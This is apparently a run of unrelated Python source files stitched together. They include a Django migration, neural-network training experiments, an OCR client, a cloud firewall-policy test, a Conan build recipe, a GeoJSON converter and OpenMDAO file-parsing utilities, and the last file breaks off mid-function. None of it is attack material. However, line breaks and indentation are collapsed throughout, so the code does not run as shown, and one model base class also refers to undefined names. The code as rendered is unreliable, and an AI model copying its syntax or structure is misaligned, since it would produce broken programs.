<gh_stars>1-10 # Generated by Django 3.1.1 on 2020-09-23 19:48 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('core', '0019_auto_20200923_1942'), ] operations = [ migrations.AlterField( model_name='orderitem', name='order', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='items', to='core.order', verbose_name='pedido'), ), migrations.AlterField( model_name='orderitem', name='product', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='order_item', to='core.product', verbose_name='produto'), ), ]
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2021-08-18.py
cooperuser/rl_ctrnn
1
128530
from job.nclimber import NClimber from math import ceil from multiprocessing.context import Process from behavior.oscillator import Oscillator from multiprocessing import Pool from util.run import Run from numpy import floor import wandb from job.learner import Learner from rl_ctrnn.ctrnn import Ctrnn import itertools import random import numpy as np THREAD_COUNT = 10 WALL_TIMES = [120, 360, 1200] SEEDS = [random.randint(100000, 999999) for _ in range(50)] PROGENITORS = [ Ctrnn.from_dict( { "time_constants": {0: 1.0, 1: 1.0}, "biases": {0: 5.154455202973727, 1: -10.756384207938911}, "weights": { 0: {0: 5.352730101212875, 1: 16.0}, 1: {0: -11.915400080418113, 1: 2.7717190607157542}, }, } ) ] def init_run(job, wall_time, progenitor, seed) -> Run: return wandb.init( project="2021-08-19", group=str(wall_time), job_type=job, config={"wall_time": wall_time, "progenitor": progenitor, "seed": seed}, ) def get_frozen(ctrnn: Ctrnn) -> float: voltages = ctrnn.make_instance() behavior = Oscillator(dt=0.01, size=ctrnn.size, duration=10, window=10) behavior.setup(ctrnn.get_output(voltages)) while behavior.time < behavior.duration: voltages = ctrnn.step(0.01, voltages) behavior.grade(ctrnn.get_output(voltages)) return behavior.fitness def calculate_displacement(a: np.ndarray, b: np.ndarray) -> float: return np.sqrt(np.sum(np.power(a + -b, 2))) def hill_climber(wall_time, ctrnn, seed): run = init_run("hill_climber", wall_time, ctrnn, seed) m = NClimber(ctrnn, seed, mutation=0.15) m.setup() time = 0 distance = 0 data = { "Time": time, "fitness": m.attempts[m.best][1], "distance": 0, "displacement": 0, } for y in range(ctrnn.size): for x in range(ctrnn.size): data[f"weight.{x}.{y}"] = ctrnn.weights[x, y] run.log(data) a: np.ndarray = m.attempts[0][0].weights b: np.ndarray = m.attempts[0][0].weights while time < wall_time: m.single_step() b = m.attempts[m.best][0].weights distance += calculate_displacement(a, b) a = b time += int(m.duration * m.samples) data = { "Time": time, "fitness": m.attempts[m.best][1], "distance": distance, "displacement": calculate_displacement(ctrnn.weights, b), } c = m.attempts[m.best][0] for y in range(c.size): for x in range(c.size): data[f"weight.{x}.{y}"] = c.weights[x, y] run.log(data) run.finish() def reinforcement_learner(wall_time, ctrnn, seed): run = init_run("rl_learner", wall_time, ctrnn, seed) m = Learner(ctrnn, seed) m.behavior.dt = 0.01 m.behavior.duration = wall_time m.behavior.window = 10 time = -1 while m.behavior.time < m.behavior.duration: m.iter() if time != (t := floor(m.behavior.time)): # possible rename `t` to `time` if t % int(wall_time / 120): continue time = t data = {"Time": t} data["fitness"] = get_frozen(m.rlctrnn.ctrnn) # m.behavior.fitness data["distance"] = m.rlctrnn.distance data["displacement"] = m.calculate_displacement() for y in range(m.rlctrnn.ctrnn.size): for x in range(m.rlctrnn.ctrnn.size): data[f"weight.{x}.{y}"] = m.rlctrnn.center[x, y] run.log(data) # run.summary["fitness"] = get_frozen(m.rlctrnn.ctrnn) run.finish() if __name__ == "__main__": def c(args): print(args) args[0](*args[1:]) # methods = [random_walker, hill_climber, reinforcement_learner] args = itertools.product( [reinforcement_learner, hill_climber], WALL_TIMES, PROGENITORS, SEEDS ) # p = Pool(2) # p.map(c, list(args)) args = list(args) num_threads = ceil(len(args) / THREAD_COUNT) groups = [args[i::num_threads] for i in range(num_threads)] for group in groups: threads = [] for g in group: threads.append(Process(target=c, args=(g,))) for _, p in enumerate(threads): p.start() for _, p in enumerate(threads): p.join()
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jenti.py
jentiai/Korean-Light-OCR-Data
0
118619
<filename>jenti.py import os import sys import json import requests from tqdm import tqdm def main(): url = "http://172.16.31.10:5000/evaluation" img_dir = sys.argv[1] with open('./jenti.json', 'w', encoding = 'UTF-8-sig') as json_res: res_dict = {} for img_name in tqdm(list(filter(lambda x: x.find('.jpg') != -1 or x.find('.png') != -1, os.listdir(img_dir)))): img_path = os.path.join(img_dir, img_name) files = {'file': open(img_path, 'rb').read()} r = requests.post(url, files = files) res_dict[os.path.splitext(img_name)[0]] = r.json() json.dump(res_dict, json_res, ensure_ascii = False, indent = '\t') if __name__ == '__main__': main()
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src/testing/acceptance/test_firewall.py
cloudsigma/pycloudsigma
13
49475
import unittest from nose.plugins.attrib import attr from testing.utils import DumpResponse import cloudsigma.resource as resource @attr('acceptance_test') class FirewallPolicyTest(unittest.TestCase): def setUp(self): unittest.TestCase.setUp(self) self.client = resource.FirewallPolicy() self.dump_response = DumpResponse(clients=[self.client]) self.base_policy = { "name": "My awesome policy", "rules": [ { "dst_ip": "23", "direction": "out", "action": "drop", "comment": "Drop traffic from the VM to IP address 172.16.17.32/32" }, { "src_ip": "172.16.31.10/24", "ip_proto": "tcp", "dst_port": "22", "direction": "in", "action": "accept", "comment": "Allow SSH traffic to the VM from our office in Dubai" }, { "ip_proto": "tcp", "dst_port": "22", "direction": "in", "action": "drop", "comment": "Drop all other SSH traffic to the VM" }, { "src_ip": "!172.16.17.32", "ip_proto": "udp", "direction": "in", "action": "drop", "comment": "Drop all UDP traffic to the VM, not originating from 172.16.17.32" }, { "ip_proto": "tcp", "dst_port": "!1:1024", "direction": "in", "action": "drop", "comment": "Drop any traffic, to the VM with destination port not between 1-1024" } ] } self._clean_policies() def tearDown(self): self._clean_policies() def _clean_policies(self): policies = self.client.list_detail() server_client = resource.Server() deleted_servers = [] for policy in policies: for server in policy['servers']: if server['uuid'] not in deleted_servers: deleted_servers.append(server['uuid']) server_client.delete(server['uuid']) self.client.delete(policy['uuid']) @attr('docs_snippets') def test_get_schema(self): with self.dump_response('fwpolicy_schema'): self.client.get_schema() @attr('docs_snippets') def test_crud_policy(self): base_policy = self.base_policy.copy() with self.dump_response('fwpolicy_create_minimal'): min_policy = self.client.create({}) self.assertDictContainsSubset({}, min_policy) with self.dump_response('fwpolicy_create_full'): full_policy = self.client.create(base_policy) # Test if applied rules look like the ones returned from the API. # The dict is subset will not work, because API # alters/normalizes some of the data. for idx, rules in enumerate(base_policy['rules']): for key in rules: match_a = str(full_policy['rules'][idx][key]) match_b = rules[key] print(match_a, match_b) self.assertTrue(match_a.startswith(match_b)) with self.dump_response('fwpolicy_list'): self.client.list() with self.dump_response('fwpolicy_list_detail'): res = self.client.list_detail() self.assertEqual(len(res), 2) updated_policy = full_policy.copy() updated_policy['rules'] = [updated_policy['rules'][0]] with self.dump_response('fwpolicy_get'): self.client.get(full_policy['uuid']) with self.dump_response('fwpolicy_update'): up_pol = self.client.update(full_policy['uuid'], updated_policy) self.assertEqual(len(up_pol['rules']), 1) with self.dump_response('fwpolicy_delete'): self.client.delete(full_policy['uuid']) self.client.delete(min_policy['uuid']) res = self.client.list() self.assertEqual(len(res), 0) @attr('docs_snippets') def test_server_fw_rules(self): policy = self.client.create(self.base_policy) server_def = { 'name': 'FirewalledServer', 'cpu': 1000, 'mem': 512 * 1024 ** 2, 'vnc_password': '<PASSWORD>', "nics": [ { "firewall_policy": policy['uuid'], "ip_v4_conf": { "ip": None, "conf": "dhcp" }, "model": "virtio", } ], } server_client = resource.Server() with DumpResponse(clients=[server_client])("fwpolicy_server_attach"): server = server_client.create(server_def) self.assertEqual( server['nics'][0]['firewall_policy']['uuid'], policy['uuid'] ) self.client.delete(policy['uuid']) server = server_client.get(server['uuid']) self.assertIsNone(server['nics'][0]['firewall_policy']) server_client.delete(server['uuid'])
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main/python/model/Base.py
ShangxuanWu/MT_python
0
49422
<gh_stars>0 # <NAME> @ Myraid of Things # 31 Jun 2017 # add path for root ('tf_code/') directory if not in sys.path import sys, os root_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) if root_path not in sys.path sys.path.append(root_path) from main.python.utils import FileUtils, LogUtils from main.python.dataloader import DataLoader from main.resource.dataloader import DataLoaderConfig import pdb import os, logging # this is actually an abstract class with no actual use class BaseModel(): # init function for def __init__(self, fd_path, child_class_name): # check path valid assert fileUtils.isFolderExists(fd_path) self.root_fd = fd_path # check three necessary files exist self.data_loader = DataLoader(self.root_fd) # already checked file existence #assert self.data_loader.hasNecessaryTrainFiles() # create folders self.model_fd = os.path.join(self.root_fd, model_fd_basename) fileUtils.makeOrClearFolder(root_fd) # handle logging self.train_log_fn = os.path.join(self.root_fd, train_log_basename) # create logger with 'spam_application' self.logger = logging.getLogger(child_class_name) self.logger.setLevel(logging.DEBUG) # create file handler which logs even debug messages fh = logging.FileHandler(self.train_log_fn) fh.setLevel(logging.DEBUG) # create console handler with a higher log level ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) # create formatter and add it to the handlers formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') fh.setFormatter(formatter) ch.setFormatter(formatter) # add the handlers to the logger self.logger.addHandler(fh) self.logger.addHandler(ch) return # Following are some abstract functions needed to be implemented: def parseParames(self): raise NotImplementedError def saveModel(self): raise NotImplementedError def loadModel(self): raise NotImplementedError def forward(self): raise NotImplementedError def train(self): raise NotImplementedError def evaluate(self): raise NotImplementedError def send(self): raise NotImplementedError # make assertion to logger instead of to screen def assertToLogger(self, assertion, err_str): try: assert assertion except AssertionError as err: self.logger.exception(err_str) raise err return def submitModel(self): return
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modules/ghautoknit/Engine.py
fstwn/ghautokn
2
63569
<reponame>fstwn/ghautokn<gh_stars>1-10 # PYTHON STANDARD LIBRARY IMPORTS --------------------------------------------- from __future__ import absolute_import from __future__ import division import datetime from os import path # RHINO IMPORTS --------------------------------------------------------------- from scriptcontext import sticky as st # LOCAL MODULE IMPORTS -------------------------------------------------------- from ghautoknit.Environment import _AK_PATH_, _AK_INTERFACE_ from ghautoknit.FileIO import SaveObj, SaveConstraints # ALL LIST -------------------------------------------------------------------- __all__ = [ "InitializeComponentInterface", "TempFilePaths", "CompileCommand", "WriteTempFiles" ] def InitializeComponentInterface(component): """ Initializes the necessary things in the Rhino sticky. """ ig = str(component.InstanceGuid) running_key = ig + "___AKRUNNING" reset_key = ig + "___RESET" if running_key not in st: st[running_key] = False if reset_key not in st: st[reset_key] = False return (running_key, reset_key) def TempFilePaths(filedir): """ Creates filepaths for temporary autoknit files. """ # create timestamp n = datetime.datetime.now() yy = str(n.year)[-2:] mm = str(n.month).zfill(2) dd = str(n.day).zfill(2) ho = str(n.hour).zfill(2) mt = str(n.minute).zfill(2) sc = str(n.second).zfill(2) ts = yy + mm + dd + "-" + ho + mt + sc # define filepaths temp_modelfile = filedir + "\\._ak_temp_" + ts + ".obj" temp_consfile = filedir + "\\._ak_temp_" + ts + ".cons" return (temp_modelfile, temp_consfile) def CompileCommand(obj, constraints, obj_scale=None, stitch_width=None, stitch_height=None, save_traced=None, peel_step=None): """ Compiles a command with arguments for running autoknit. """ if not obj or not constraints: raise ValueError("Expected *.obj and *.cons file," + "received {} and {}." + "Check your inputs!".format(obj, constraints)) # make basic command arguments cmdargs = ["obj:" + obj, "constraints:" + constraints] # handle obj-scale parameter ---------------------------------------------- if obj_scale: try: obj_scale = float(obj_scale) cmdargs.append("obj-scale:{}".format(str(obj_scale))) except Exception as e: raise ValueError("Could not convert supplied " + "obj-scale to float! Ignoring this option..." + " // " + str(e)) # handle stitch-width parameter ------------------------------------------- if stitch_width: try: stitch_width = float(stitch_width) cmdargs.append("stitch-width:{}".format(str(stitch_width))) except Exception as e: raise ValueError("Could not convert supplied stitch-width " + "to float! Ignoring this option..." + " // " + str(e)) # handle stitch-height parameter ------------------------------------------ if stitch_height: try: stitch_height = float(stitch_height) cmdargs.append("stitch-height:{}".format(str(stitch_height))) except Exception as e: raise ValueError("Could not convert supplied stitch-height " + "to float! Ignoring this option..." + " // " + str(e)) # handle save-traced parameter -------------------------------------------- if save_traced: try: save_traced = path.normpath(save_traced.rstrip("\n\r")) if not save_traced.endswith(".st"): save_traced = save_traced + ".st" cmdargs.append("save-traced:{}".format(save_traced)) except Exception as e: raise ValueError("Could not convert supplied save_traced " + "path to string! Ignoring this option..." + " // " + str(e)) # handle peel-step parameter ---------------------------------------------- if peel_step: try: peel_step = int(peel_step) if peel_step < -1: peel_step = -1 cmdargs.append("peel-step:{}".format(str(peel_step))) except Exception as e: raise ValueError("Could not convert supplied peel-step " + "to int! Ignoring this option..." + " // " + str(e)) # check if path to interface.exe is set correctly if not path.exists(_AK_PATH_) or not path.isfile(_AK_INTERFACE_ + ".exe"): return None # create the command and return it Command = [_AK_INTERFACE_] Command.extend(cmdargs) return Command def WriteTempFiles(model, obj_file, cons_file): """ Writes temporary files for starting autoknit. """ SaveObj(obj_file, model.Mesh) SaveConstraints(cons_file, model.ConstraintCoordinates, model.Constraints) # MAIN ------------------------------------------------------------------------ if __name__ == '__main__': pass
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conanfile.py
bincrafters/conan-azure-iot-sdk-c
0
105800
import os from conans import ConanFile, CMake, tools class AzureiotsdkcConan(ConanFile): name = "Azure-IoT-SDK-C" version = "1.1.27" release_date = "2017-10-20" generators = "cmake" settings = "os", "compiler", "build_type", "arch" url = "https://github.com/bincrafters/conan-azure-iot-sdk-c" description = "A C99 SDK for connecting devices to Microsoft Azure IoT services" license = "https://github.com/Azure/azure-iot-sdk-c/blob/master/LICENSE" options = {"shared": [True, False]} default_options = "shared=False" exports = ["LICENSE.md"] lib_short_name = "azure_iot_sdks" root_dir = "%s-%s" % (name.lower(), release_date) requires = "Azure-C-Shared-Utility/[>=1.0.46]@bincrafters/stable", \ "Azure-uMQTT-C/[>=1.0.46]@bincrafters/stable", \ "Azure-uAMQP-C/[>=1.0.46]@bincrafters/stable", \ "Azure-uHTTP-C/[>=1.0.46]@bincrafters/stable", \ "Parson/0.1.0@bincrafters/stable" def source(self): source_url = "https://github.com/Azure/azure-iot-sdk-c" tools.get("%s/archive/%s.tar.gz" % (source_url, self.release_date)) def configure(self): # XXX (uilian): Some linkage errors must be solved on Windows if self.settings.os == "Windows": self.options.shared = False # XXX (uilian): hidden symbol `curl_easy_getinfo' when libcurl is static if self.settings.os != "Windows": self.options["libcurl"].shared = True def build(self): cmake_file = os.path.join(self.root_dir, "CMakeLists.txt") conan_magic_lines = """project(azure_iot_sdks) include(../conanbuildinfo.cmake) CONAN_BASIC_SETUP() """ tools.replace_in_file(cmake_file, "project(azure_iot_sdks)", conan_magic_lines) tools.replace_in_file(cmake_file, 'include("dependencies.cmake")', "") tools.replace_in_file(cmake_file, 'set_platform_files(${CMAKE_CURRENT_LIST_DIR}/c-utility)', "") if self.settings.os == "Windows": cmake_file = os.path.join(self.root_dir, "iothub_client", "CMakeLists.txt") conan_magic_lines = "target_link_libraries(iothub_client_dll ${iothub_client_libs} ${CONAN_LIBS} Winhttp)" tools.replace_in_file(cmake_file, 'target_link_libraries(iothub_client_dll ${iothub_client_libs})', conan_magic_lines) parson_dst = os.path.join(self.root_dir, "deps", "parson") self.copy(pattern="parson.h", dst=parson_dst, src=self.deps_cpp_info["Parson"].include_paths[0]) self.copy(pattern="parson.c", dst=parson_dst, src=os.path.join(self.deps_cpp_info["Parson"].rootpath, "src")) with tools.chdir(self.root_dir): cmake = CMake(self) cmake.definitions["build_as_dynamic"] = self.settings.os == "Windows" and self.options.shared cmake.definitions["skip_samples"] = True cmake.definitions["use_installed_dependencies"] = True if self.settings.os == "Windows" and self.options.shared: cmake.definitions["CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS"] = True cmake.configure(source_dir=os.getcwd()) cmake.build() def package(self): self.copy(pattern="LICENSE", dst=".", src=".") self.copy(pattern="*", dst="include", src=os.path.join(self.root_dir, "iothub_client", "inc")) self.copy(pattern="*", dst="include", src=os.path.join(self.root_dir, "iothub_service_client", "inc")) self.copy(pattern="*.lib", dst="lib", src="lib", keep_path=False) self.copy(pattern="*.a", dst="lib", src="lib", keep_path=False) self.copy(pattern="*.so*", dst="lib", src=".", keep_path=False) self.copy(pattern="*.dylib", dst="lib", src=".", keep_path=False) self.copy(pattern="*.dll", dst="bin", src=".", keep_path=False) def package_info(self): self.cpp_info.libs = tools.collect_libs(self) if self.settings.os == "Windows": self.cpp_info.libs.append("Winhttp")
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json2geojson.py
gjwgit/pyute
0
167206
<reponame>gjwgit/pyute #! usr/bin/env python # Originally loned from # https://github.com/ACT-COVID-19-TRACKER/privatekit-data-granularity-assessment/blob/master/json-to-geojson.py from sys import argv from os.path import exists import simplejson as json script, in_file, out_file = argv data = json.load(open(in_file)) geojson = { "type": "FeatureCollection", "features": [ { "type": "Feature", "geometry" : { "type": "Point", "coordinates": [d["longitude"], d["latitude"]], }, "properties" : d, } for d in data] } output = open(out_file, 'w') json.dump(geojson, output) # print geojson
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openmdao/utils/file_wrap.py
friedenhe/OpenMDAO
451
129809
<filename>openmdao/utils/file_wrap.py """ A collection of utilities for file wrapping. Note: This is a work in progress. """ import re from pyparsing import CaselessLiteral, Combine, OneOrMore, Optional, \ TokenConverter, Word, nums, oneOf, printables, ParserElement, alphanums import numpy as np def _getformat(val): """ Get the output format for a floating point number. The general format is used with 16 places of accuracy, except for when the floating point value is an integer, in which case a decimal point followed by a single zero is used. Parameters ---------- val : float or int the number which needs formatted. Returns ------- string the format string. """ if int(val) == val: return "%.1f" else: return "%.16g" class _SubHelper(object): """ Replaces file text at the correct word location in a line. This class contains the Helper Function that is passed to re.sub. Attributes ---------- _newtext : str text to insert. _replace_location : int location in the file where replacement is to occur. _current_location : int current location in the file. _counter : int counter _start_location : int initial location where replacement is to occur. _end_location : int final location where replacement is to occur. """ def __init__(self): """ Initialize attributes. """ self._newtext = "" self._replace_location = 0 self._current_location = 0 self._counter = 0 self._start_location = 0 self._end_location = 0 def set(self, newtext, location): """ Set a new word location and value for replacement. Parameters ---------- newtext : str text to insert. location : int location in the file where replacement is to occur. """ self._newtext = newtext self._replace_location = location self._current_location = 0 def set_array(self, newtext, start_location, end_location): """ Set a new starting location, ending location, and value for replacement. Parameters ---------- newtext : str text to insert. start_location : int location end_location : int location """ self._newtext = newtext self._start_location = start_location self._end_location = end_location self._current_location = 0 def replace(self, text): """ Replace text in file. This function should be passed to re.sub. Parameters ---------- text : str text to insert. Returns ------- string newtext if current location is replace location else the input text. """ self._current_location += 1 if self._current_location == self._replace_location: if isinstance(self._newtext, float): return _getformat(self._newtext) % self._newtext else: return str(self._newtext) else: return text.group() def replace_array(self, text): """ Replace array of text values in file. This function should be passed to re.sub. Parameters ---------- text : str text to insert. Returns ------- string newtext if current location is replace location else the input text. """ self._current_location += 1 end = len(self._newtext) if self._current_location >= self._start_location and \ self._current_location <= self._end_location and \ self._counter < end: if isinstance(self._newtext[self._counter], float): val = self._newtext[self._counter] newval = _getformat(val) % val else: newval = str(self._newtext[self._counter]) self._counter += 1 return newval else: return text.group() class _ToInteger(TokenConverter): """ Converter for PyParsing that is used to turn a token into an int. """ def postParse(self, instring, loc, tokenlist): """ Convert token into an integer. Parameters ---------- instring : str the input string loc : int the location of the matching string tokenlist : list list of matched tokens Returns ------- int integer value for token. """ return int(tokenlist[0]) class _ToFloat(TokenConverter): """ Converter for PyParsing that is used to turn a token into a float. """ def postParse(self, instring, loc, tokenlist): """ Convert token into a float. Parameters ---------- instring : str the input string loc : int the location of the matching string tokenlist : list list of matched tokens Returns ------- float float value for token. """ return float(tokenlist[0].replace('D', 'E')) class _ToNan(TokenConverter): """ Converter for PyParsing that is used to turn a token into Python nan. """ def postParse(self, instring, loc, tokenlist): """ Convert token into Python nan. Parameters ---------- instring : str the input string loc : int the location of the matching string tokenlist : list list of matched tokens Returns ------- float the float value for NaN. """ return float('nan') class _ToInf(TokenConverter): """ Converter for PyParsing that is used to turn a token into Python inf. """ def postParse(self, instring, loc, tokenlist): """ Convert token into Python inf. Parameters ---------- instring : str the input string loc : int the location of the matching string tokenlist : list list of matched tokens Returns ------- float the float value for infinity. """ return float('inf') class InputFileGenerator(object): """ Utility to generate an input file from a template. Substitution of values is supported. Data is located with a simple API. Attributes ---------- _template_filename : str or None the name of the template file. _output_filename : str or None the name of the output file. _delimiter : int delimiter. _reg : int regular expression. _data : list of string the contents of the file, by line _current_row : int the current row of the file _anchored : bool indicator that position is relative to a landmark location. """ def __init__(self): """ Initialize attributes. """ self._template_filename = None self._output_filename = None self._delimiter = " " self._reg = re.compile('[^ \n]+') self._data = [] self._current_row = 0 self._anchored = False def set_template_file(self, filename): """ Set the name of the template file to be used. The template file is also read into memory when this method is called. Parameters ---------- filename : str Name of the template file to be used. """ self._template_filename = filename templatefile = open(filename, 'r') self._data = templatefile.readlines() templatefile.close() def set_generated_file(self, filename): """ Set the name of the file that will be generated. Parameters ---------- filename : str Name of the input file to be generated. """ self._output_filename = filename def set_delimiters(self, delimiter): """ Set the delimiters that are used to identify field boundaries. Parameters ---------- delimiter : str A string containing characters to be used as delimiters. """ self._delimiter = delimiter self._reg = re.compile('[^' + delimiter + '\n]+') def mark_anchor(self, anchor, occurrence=1): """ Mark the location of a landmark. This lets you describe data by relative position. Note that a forward search begins at the old anchor location. If you want to restart the search for the anchor at the file beginning, then call ``reset_anchor()`` before ``mark_anchor``. Parameters ---------- anchor : str The text you want to search for. occurrence : int, optional Find nth instance of text; default is 1 (first). Use -1 to find last occurrence. Reverse searches always start at the end of the file no matter the state of any previous anchor. """ if not isinstance(occurrence, int): raise ValueError("The value for occurrence must be an integer") instance = 0 if occurrence > 0: count = 0 max_lines = len(self._data) for index in range(self._current_row, max_lines): line = self._data[index] # If we are marking a new anchor from an existing anchor, and # the anchor is mid-line, then we still search the line, but # only after the anchor. if count == 0 and self._anchored: line = line.split(anchor)[-1] if line.find(anchor) > -1: instance += 1 if instance == occurrence: self._current_row += count self._anchored = True return count += 1 elif occurrence < 0: max_lines = len(self._data) - 1 count = max_lines for index in range(max_lines, -1, -1): line = self._data[index] # If we are marking a new anchor from an existing anchor, and # the anchor is mid-line, then we still search the line, but # only before the anchor. if count == max_lines and self._anchored: line = line.split(anchor)[0] if line.find(anchor) > -1: instance += -1 if instance == occurrence: self._current_row = count self._anchored = True return count -= 1 else: raise ValueError("0 is not valid for an anchor occurrence.") raise RuntimeError("Could not find pattern %s in template file %s" % (anchor, self._template_filename)) def reset_anchor(self): """ Reset anchor to the beginning of the file. """ self._current_row = 0 self._anchored = False def transfer_var(self, value, row, field): """ Change a single variable in the template relative to the current anchor. Parameters ---------- value : float, int, bool, str New value to set at the location. row : int Number of lines offset from anchor line (0 is anchor line). This can be negative. field : int Which word in line to replace, as denoted by delimiter(s). """ j = self._current_row + row line = self._data[j] sub = _SubHelper() sub.set(value, field) newline = re.sub(self._reg, sub.replace, line) self._data[j] = newline def transfer_array(self, value, row_start, field_start, field_end, row_end=None, sep=", "): """ Change the values of an array in the template relative to the current anchor. This should generally be used for one-dimensional or free form arrays. Parameters ---------- value : float, int, bool, str Array of values to insert. row_start : int Starting row for inserting the array. This is relative to the anchor, and can be negative. field_start : int Starting field in the given row_start as denoted by delimiter(s). field_end : int The final field the array uses in row_end. We need this to figure out if the template is too small or large. row_end : int, optional Use if the array wraps to cover additional lines. sep : int, optional Separator to use if we go beyond the template. """ # Simplified input for single-line arrays if row_end is None: row_end = row_start sub = _SubHelper() for row in range(row_start, row_end + 1): j = self._current_row + row line = self._data[j] if row == row_end: f_end = field_end else: f_end = 99999 sub.set_array(value, field_start, f_end) field_start = 0 newline = re.sub(self._reg, sub.replace_array, line) self._data[j] = newline # Sometimes an array is too large for the example in the template # This is resolved by adding more fields at the end if sub._counter < len(value): for val in value[sub._counter:]: newline = newline.rstrip() + sep + str(val) self._data[j] = newline # Sometimes an array is too small for the template # This is resolved by removing fields elif sub._counter > len(value): # TODO - Figure out how to handle this. # Ideally, we'd remove the extra field placeholders raise ValueError("Array is too small for the template.") def transfer_2Darray(self, value, row_start, row_end, field_start, field_end): """ Change the values of a 2D array in the template relative to the current anchor. This method is specialized for 2D arrays, where each row of the array is on its own line. Parameters ---------- value : ndarray Array of values to insert. row_start : int Starting row for inserting the array. This is relative to the anchor, and can be negative. row_end : int Final row for the array, relative to the anchor. field_start : int Starting field in the given row_start as denoted by delimiter(s). field_end : int The final field the array uses in row_end. We need this to figure out if the template is too small or large. """ sub = _SubHelper() i = 0 for row in range(row_start, row_end + 1): j = self._current_row + row line = self._data[j] sub.set_array(value[i, :], field_start, field_end) newline = re.sub(self._reg, sub.replace_array, line) self._data[j] = newline sub._current_location = 0 sub._counter = 0 i += 1 # TODO - Note, we currently can't handle going beyond the end of # the template line def clearline(self, row): """ Replace the contents of a row with the newline character. Parameters ---------- row : int Row number to clear, relative to current anchor. """ self._data[self._current_row + row] = "\n" def generate(self, return_data=False): """ Use the template file to generate the input file. Parameters ---------- return_data : bool If True, generated file data will be returned as a string. Returns ------- string The generated file data if return_data is True or output filename has not been provided, else None. """ if self._output_filename: with open(self._output_filename, 'w') as f: f.writelines(self._data) else: return_data = True if return_data: return '\n'.join(self._data) else: return None class FileParser(object): """ Utility to locate and read data from a file. Parameters ---------- end_of_line_comment_char : str, optional End-of-line comment character to be ignored (e.g., Python supports in-line comments with "#"). full_line_comment_char : str, optional Comment character that signifies a line should be skipped. Attributes ---------- _filename : str the name of the file. _data : list of string the contents of the file, by line _delimiter : str the name of the file. _end_of_line_comment_char : str end-of-line comment character to be ignored. _full_line_comment_char : str comment character that signifies a line should be skipped. _current_row : int the current row of the file. _anchored : bool indicator that position is relative to a landmark location. """ def __init__(self, end_of_line_comment_char=None, full_line_comment_char=None): """ Initialize attributes. """ self._filename = None self._data = [] self._delimiter = " \t" self._end_of_line_comment_char = end_of_line_comment_char self._full_line_comment_char = full_line_comment_char self._current_row = 0 self._anchored = False self.set_delimiters(self._delimiter) def set_file(self, filename): """ Set the name of the file that will be generated. Parameters ---------- filename : str Name of the input file to be generated. """ self._filename = filename inputfile = open(filename, 'r') if not self._end_of_line_comment_char and not self._full_line_comment_char: self._data = inputfile.readlines() else: self._data = [] for line in inputfile: if line[0] == self._full_line_comment_char: continue self._data.append(line.split(self._end_of_line_comment_char)[0]) inputfile.close() def set_delimiters(self, delimiter): r""" Set the delimiters that are used to identify field boundaries. Parameters ---------- delimiter : str A string containing characters to be used as delimiters. The default value is ' \t', which means that spaces and tabs are not taken as data but instead mark the boundaries. Note that the parser is smart enough to recognize characters within quotes as non-delimiters. """ self._delimiter = delimiter if delimiter != "columns": ParserElement.setDefaultWhitespaceChars(str(delimiter)) self._reset_tokens() def mark_anchor(self, anchor, occurrence=1): """ Mark the location of a landmark, which lets you describe data by relative position. Note that a forward search begins at the old anchor location. If you want to restart the search for the anchor at the file beginning, then call ``reset_anchor()`` before ``mark_anchor``. Parameters ---------- anchor : str The text you want to search for. occurrence : int Find nth instance of text; default is 1 (first). Use -1 to find last occurrence. Reverse searches always start at the end of the file no matter the state of any previous anchor. """ if not isinstance(occurrence, int): raise ValueError("The value for occurrence must be an integer") instance = 0 if occurrence > 0: count = 0 max_lines = len(self._data) for index in range(self._current_row, max_lines): line = self._data[index] # If we are marking a new anchor from an existing anchor, and # the anchor is mid-line, then we still search the line, but # only after the anchor. if count == 0 and self._anchored: line = line.split(anchor)[-1] if anchor in line: instance += 1 if instance == occurrence: self._current_row += count self._anchored = True return count += 1 elif occurrence < 0: max_lines = len(self._data) - 1 count = max_lines for index in range(max_lines, -1, -1): line = self._data[index] # If we are marking a new anchor from an existing anchor, and # the anchor is mid-line, then we still search the line, but # only before the anchor. if count == max_lines and self._anchored: line = line.split(anchor)[0] if anchor in line: instance += -1 if instance == occurrence: self._current_row = count self._anchored = True return count -= 1 else: raise ValueError("0 is not valid for an anchor occurrence.") raise RuntimeError("Could not find pattern %s in output file %s" % (anchor, self._filename)) def reset_anchor(self): """ Reset anchor to the beginning of the file. """ self._current_row = 0 self._anchored = False def transfer_line(self, row): """ Return an entire line, relative to current anchor. Parameters ---------- row : int Number of lines offset from anchor line (0 is anchor line). This can be negative. Returns ------- string Line at the location requested. """ return self._data[self._current_row + row].rstrip() def transfer_var(self, row, field, fieldend=None): """ Get a single variable relative to the current anchor. Parameters ---------- row : int Number of lines offset from anchor line (0 is anchor line). This can be negative. field : int If the delimiter is a set of chars: which word in line to retrieve. If the delimiter is 'columns': character position to start. fieldend : int (optional) If the delimiter is a set of chars: IGNORED. If the delimiter is 'columns': position of last character to return, or if omitted, the end of the line is used. Returns ------- string Data from the requested location in the file. """ j = self._current_row + row line = self._data[j] if self._delimiter == "columns": if not fieldend: line = line[(field - 1):] else: line = line[(field - 1):(fieldend)] # Let pyparsing figure out if this is a number, and return it # as a float or int as appropriate data = self._parse_line().parseString(line) # data might have been split if it contains whitespace. If so, # just return the whole string if len(data) > 1: return line else: return data[0] else: data = self._parse_line().parseString(line) return data[field - 1] def transfer_keyvar(self, key, field, occurrence=1, rowoffset=0): """ Search for a key relative to the current anchor and get a field from that line. You can do the same thing with a call to ``mark_anchor`` and ``transfer_var``. This function just combines them for convenience. Parameters ---------- key : str The key to search for. field : int Which field to transfer. Field 0 is the key. occurrence : int Find nth instance of text; default is 1 (first value field). Use -1 to find last occurance. Position 0 is the key field, so it should not be used as a value for occurrence. rowoffset : int (optional) Optional row offset from the occurrence of key. This can also be negative. Returns ------- string Data from the requested location in the file. """ if not isinstance(occurrence, int) or occurrence == 0: msg = "The value for occurrence must be a nonzero integer" raise ValueError(msg) instance = 0 if occurrence > 0: row = 0 for line in self._data[self._current_row:]: if line.find(key) > -1: instance += 1 if instance == occurrence: break row += 1 elif occurrence < 0: row = -1 for line in reversed(self._data[self._current_row:]): if line.find(key) > -1: 